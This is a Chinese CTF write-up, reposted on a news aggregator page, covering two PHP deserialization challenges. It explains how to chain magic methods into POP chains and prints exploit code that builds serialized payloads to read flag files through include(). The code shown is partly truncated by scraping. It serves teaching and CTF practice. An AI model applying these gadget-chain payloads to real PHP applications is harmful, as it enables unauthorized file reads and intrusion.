最新要闻

广告

手机

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

家电

【环球新视野】ctf反序列化练题

来源:博客园

[SWPUCTF 2021 新生赛]pop

admin === "w44m" && $this->passwd ==="08067"){            include("flag.php");            echo $flag;        }else{            echo $this->admin;            echo $this->passwd;            echo "nono";        }    }}class w22m{    public $w00m;    public function __destruct(){        echo $this->w00m;    }}class w33m{    public $w00m;    public $w22m;    public function __toString(){        $this->w00m->{$this->w22m}();        return 0;    }}$w00m = $_GET["w00m"];unserialize($w00m);?> 

老规矩首先看代码,这是一道反序列化的题,get传参w00m,然后反序列化w00m。

然后寻找可以利用的点来获取Flag

class w44m{    private $admin = "aaa";    protected $passwd = "123456";    public function Getflag(){        if($this->admin === "w44m" && $this->passwd ==="08067"){            include("flag.php");            echo $flag;        }else{            echo $this->admin;            echo $this->passwd;            echo "nono";        }    }}

可以看到w44m类中有Getflag方法可以获取flag,因此我们需要实现Getflag这个方法。


(相关资料图)

那么如何去实现这个方法呢,我们要知道我们反序列化是不触发类的成员方法;只有我们调用时方法才能触发。

那我们如何去实现呢?

class w22m{    public $w00m;    public function __destruct(){        echo $this->w00m;    }}

可以看到w22m类有__destruct方法,我们知道__destruct在类销毁时会自动调用,所以这就是我们的入口,知道头和尾后我们就可以构造pop链了,

我们让$a=new w22m;,然后通过调用w33m类中的__toString方法来进行调用w44m中的Getflag方法。

如下:

w00m;    }}class w33m{    public $w00m;    public $w22m="Getflag";    public function __toString(){        $this->w00m->{$this->w22m}();//若w22m为Getflag方法,那么需要让w33m中的w00m为w44m的对象,这样才能调用w44m中的Getflag()方法        return 0;    }}$a=new w22m;$a->w00m=new w33m;//执行w33m类中的toString方法$a->w00m->w00m=new w44m;//echo urlencode(serialize($a));?>

[NISACTF 2022]popchains

Happy New Year~ MAKE A WISH";if(isset($_GET["wish"])){    @unserialize($_GET["wish"]);}else{    $a=new Road_is_Long;    highlight_file(__FILE__);}/***************************pop your 2022*****************************/class Road_is_Long{    public $page;    public $string;    public function __construct($file="index.php"){        $this->page = $file;    }    public function __toString(){        return $this->string->page;    }    public function __wakeup(){        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {            echo "You can Not Enter 2022";            $this->page = "index.php";        }    }}class Try_Work_Hard{    protected  $var;    public function append($value){        include($value);    }    public function __invoke(){        $this->append($this->var);    }}class Make_a_Change{    public $effort;    public function __construct(){        $this->effort = array();    }    public function __get($key){        $function = $this->effort;        return $function();    }}/**********************Try to See flag.php*****************************/ 

老规矩我们先看代码,可以看到这是一道反序列化的题,通过wish进行get传参来进行反序列化。

然后我们需要看可以获取falg的点,

class Try_Work_Hard{    protected  $var;    public function append($value){        include($value);    }    public function __invoke(){        $this->append($this->var);    }}

可以看到Try_Work_Hard类中的append方法里面有include函数,所以说我们可以通过文件包含获取flag。

但是我们无法直接去调用append方法,我们可以先进行调用__invoke魔术方法(上一篇我写过如何去调用__invoke魔术方法,并且上一篇buuctf上的题和这道题相类似)来调用append方法。

尾部找到后接着我们就需要找到我们pop链的首部了。

class Road_is_Long{    public $page;    public $string;    public function __construct($file="index.php"){        $this->page = $file;    }    public function __toString(){        return $this->string->page;    }    public function __wakeup(){        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {            echo "You can Not Enter 2022";            $this->page = "index.php";        }    }

看到在Road_is_Long类中有__wakeup魔术方法,我们知道当反序列化还原时最先调用的就是__wakeup魔术方法。

因此我们首部和尾部都已经找到,所以我们就可以构造我们的pop链

构造思路如下:__wakeup() -> 创建 page 为Road_is_Long 类本身 => __toString -> $this->Make_a_change => __get () $this->effort = make_a_change()=> __invoke() -> => append() => include($value); value=/flag

接着我们就可以进行构造了:

string->page;    }     }class Try_Work_Hard{    protected  $var="/flag";  }class Make_a_Change{    public $effort;      }$a=new Road_is_Long;$a->page=new Road_is_Long;$a->page->string=new Make_a_Change;$a->page->string->effort=new Try_Work_Hard;echo urlencode(serialize($a));?>

然后将获取的值Get传入即可

关键词: